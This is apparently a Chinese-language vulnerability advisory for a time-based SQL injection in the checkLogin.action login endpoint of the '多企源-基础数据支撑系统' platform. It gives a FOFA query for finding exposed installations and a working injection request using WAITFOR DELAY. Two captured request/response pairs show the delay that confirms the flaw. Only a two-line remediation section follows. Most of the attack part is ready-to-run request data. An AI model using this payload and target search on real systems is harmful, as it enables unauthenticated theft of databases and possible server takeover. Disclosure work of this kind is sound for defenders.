

多企源-基础数据支撑系统 checkLogin存在SQL注入漏洞

漏洞描述

多企源-基础数据支撑系统 checkLogin.action 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

多企源-基础数据支撑系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：app="多企源-基础数据支撑系统"

POC/EXP：

```
POST /json/checkLogin.action?usercfg.username=1%27;WAITFOR%20DELAY%20%270:0:9%27--
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.6478.57 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: /
Accept-Language: zh-CN
Connection: keep-alive
```

发送请求

强制 HTTPS

历史

生成 Yaml

Request

数据包扫描 热加载 构造请求

1

POST /json/checkLogin.action?usercfg.username=1%27;
WAITFOR%20DELAY%20%270:0:9%27-- HTTP/1.1

2

Host: .

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36

4

Accept-Encoding: gzip, deflate, br

5

Accept: */*

6

Accept-Language: zh-CN

7

Connection: keep-alive

Responses

https 68bytes / 9151ms

美化 详情

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Access-Control-Allow-Origin: *

4

Access-Control-Allow-Methods: *

5

Access-Control-Max-Age: 3600

6

Access-Control-Allow-Headers: *

7

Access-Control-Allow-Credentials: true

8

Set-Cookie: JSESSIONID=2DCC4897898CD0DC729D4FA5EEC24732; Path=/; Secure; HttpOnly

9

Content-Type: application/json; charset=utf-8

10

Content-Language: zh-CN

11

Date: Sat, 19 Oct 2024 10:50:51 GMT

12

Content-Length: 68

13

14

{"jsonDataBean":{"code":"1","result":"用户名或密码不正确"}}

发送请求

强制 HTTPS

历史

生成 Yaml

Request

数据包扫描 热加载 构造请求

1

POST /json/checkLogin.action?usercfg.username=1%27;
WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1

2

Host: .

3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36

4

Accept-Encoding: gzip, deflate, br

5

Accept: */*

6

Accept-Language: zh-CN

7

Connection: keep-alive

Responses

https 68bytes / 5190ms

美化 详情

1

HTTP/1.1 200 OK

2

Server: Apache-Coyote/1.1

3

Access-Control-Allow-Origin: *

4

Access-Control-Allow-Methods: *

5

Access-Control-Max-Age: 3600

6

Access-Control-Allow-Headers: *

7

Access-Control-Allow-Credentials: true

8

Set-Cookie: JSESSIONID=D4848F4A8B2685B58C5D94099594AC8C; Path=/; Secure; HttpOnly

9

Content-Type: application/json; charset=utf-8

10

Content-Language: zh-CN

11

Date: Sat, 19 Oct 2024 10:53:58 GMT

12

Content-Length: 68

13

14

{"jsonDataBean":{"code":"1","result":"用户名或密码不正确"}}

修复方案

关闭互联网暴露面或接口设置访问权限。

联系厂家及时打补丁。